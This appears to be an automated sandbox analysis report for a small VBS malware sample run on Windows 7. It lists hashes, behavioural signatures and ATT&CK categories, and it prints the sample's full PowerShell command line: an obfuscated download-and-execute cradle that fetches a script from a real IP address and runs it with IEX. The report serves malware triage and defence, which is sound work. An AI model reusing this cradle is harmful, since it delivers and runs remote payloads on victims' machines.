10a5a95ddae4178a39013124606a36d5694098afbaac187fa133603ea4aa2237

Analysis

max time kernel
117s
max time network
126s
platform
windows7_x64
resource
win7-en-20211208
submitted
21/01/2022, 17:32

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General

Target
RG0078KL.vbs
Size 3KB
Sample220121-v4fdlsagbj
SHA256 10a5a95ddae4178a39013124606a36d5694098afbaac187fa133603ea4aa2237
MD5 f50213e1d11c0e3ed11d5b180f80cbee
SHA1 657a5597f5b51bf0411480d97d53870a33bab7d5
SHA512 3288559cd403de1409ecb349bf57574d9322407e09bfb34ca4d91275c02e480ad4827e667185344138740ee58899ff630af62305660bb32c4a401b1fa3bf00ee
MD5 SHA1 SHA512

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
676	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	676	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1820 wrote to memory of 676	1820	WScript.exe	27
PID 1820 wrote to memory of 676	1820	WScript.exe	27
PID 1820 wrote to memory of 676	1820	WScript.exe	27

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RG0078KL.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" function H1($i) {$r = '' ;for ($n = 0; $n -Lt $i.LengtH; $n += 2){$r += [cHar][int]('0x' + $i.Substring($n,2))}return $r};$H2 = (new-object ('{1}{0}{2}' -f'WebCL','net.','ient'));$H3 = H1 '446f776E';$H4 = H1 '6C6f';$H5 = H1 '616473747269';$H6 = H1 '6E67';$H7 = $H3+$H4+$H5+$H6;$H8 = $H2.$H7('HttP://170.39.212.195/Ps12.txt');iEX $H8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:676

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/676-56-0x00000000027F0000-0x00000000027F2000-memory.dmp

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memory/676-58-0x00000000027F2000-0x00000000027F4000-memory.dmp

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memory/676-59-0x00000000027F4000-0x00000000027F7000-memory.dmp

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memory/676-57-0x000007FEF2CD0000-0x000007FEF382D000-memory.dmp

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memory/676-60-0x000000001B720000-0x000000001BA1F000-memory.dmp

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memory/676-61-0x00000000027FB000-0x000000000281A000-memory.dmp

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memory/1820-54-0x000007FEFBAD1000-0x000007FEFBAD3000-memory.dmp

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